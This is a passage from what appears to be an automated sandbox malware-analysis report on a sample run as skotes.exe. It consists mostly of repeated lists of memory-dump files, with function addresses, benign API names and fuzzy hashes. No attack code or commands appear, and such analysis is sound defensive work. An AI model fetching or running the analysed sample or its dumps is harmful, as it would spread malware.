Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: d2bf63d6e35eb18b3f69b13f9f145b347b67b815310780855ec91d49ff7bab5d
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 16E04632921228EBCB18DB9C8A0598AB2ECFB49B00B660096B501E3251C270DE00CBD1

Function 0086CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0086CC66

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 4a1b01e7a5f8bdba0d85da313223fa9dcdcbb25f616a60e65366a3b3147b1b86
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: D1B136329046899FDB11CF68C881BBEBFF5FF45340F16816AE895EB242D6359D01CBA1

Function 00832EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00832F5F
__Mtx_unlock.LIBCPMT ref: 00832FCC
__Mtx_unlock.LIBCPMT ref: 008330F5
__Mtx_unlock.LIBCPMT ref: 0083319B

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: abe18250f9540790c1f92ff08b978a043e90a982fbf679dd5a8e9597cc2fb4ec
Instruction ID: 18a676b5f69bf164089806dde41001069a294240784118f0e7cc4682db7da2c8
Opcode Fuzzy Hash: abe18250f9540790c1f92ff08b978a043e90a982fbf679dd5a8e9597cc2fb4ec
Instruction Fuzzy Hash: DBA101B0A01619EFDB24DF68C844B6AB7B8FF55324F048139E815D7281EB75EA04CBD2

Analysis Process: skotes.exePID: 8184, Parent PID: 8012COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 001F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001F652A,?,?,?,?,?,001F7661), ref: 001F6567

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191957804.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191979921.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192003401.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192024861.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192056621.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192083829.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192194736.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192224573.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192282897.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192313858.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192342744.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192443542.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2192473144.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fc3927e4ae0cf1734f9ffc55cb3be33821ef7dc7d08dee163aa429fd105fd5a3
Instruction ID: 7bdfc98ff4e96a71a7b1546c3679443616e0ef9f9b57c90047b815f8626b377b
Opcode Fuzzy Hash: fc3927e4ae0cf1734f9ffc55cb3be33821ef7dc7d08dee163aa429fd105fd5a3
Instruction Fuzzy Hash: 6EE08C3015014CAECF257B58D80DD6E7B69EFA2789F404820FA1D9A332CB29DE81C680

Function 001C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000006.00000002.2190896994.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190926949.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2190995497.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191017141.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191040568.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191143840.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191167677.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191193338.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191214050.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191280297.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191301824.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191323287.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191345055.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191367671.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191389599.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191411942.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191434358.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191458320.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191478084.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191498729.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191519402.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191544034.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191563544.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191584143.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191604138.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191623282.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191642798.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191663463.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191685659.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191708117.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191730599.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191780806.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191802265.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191822853.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191845894.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191868491.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191891271.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191913564.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2191934982.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
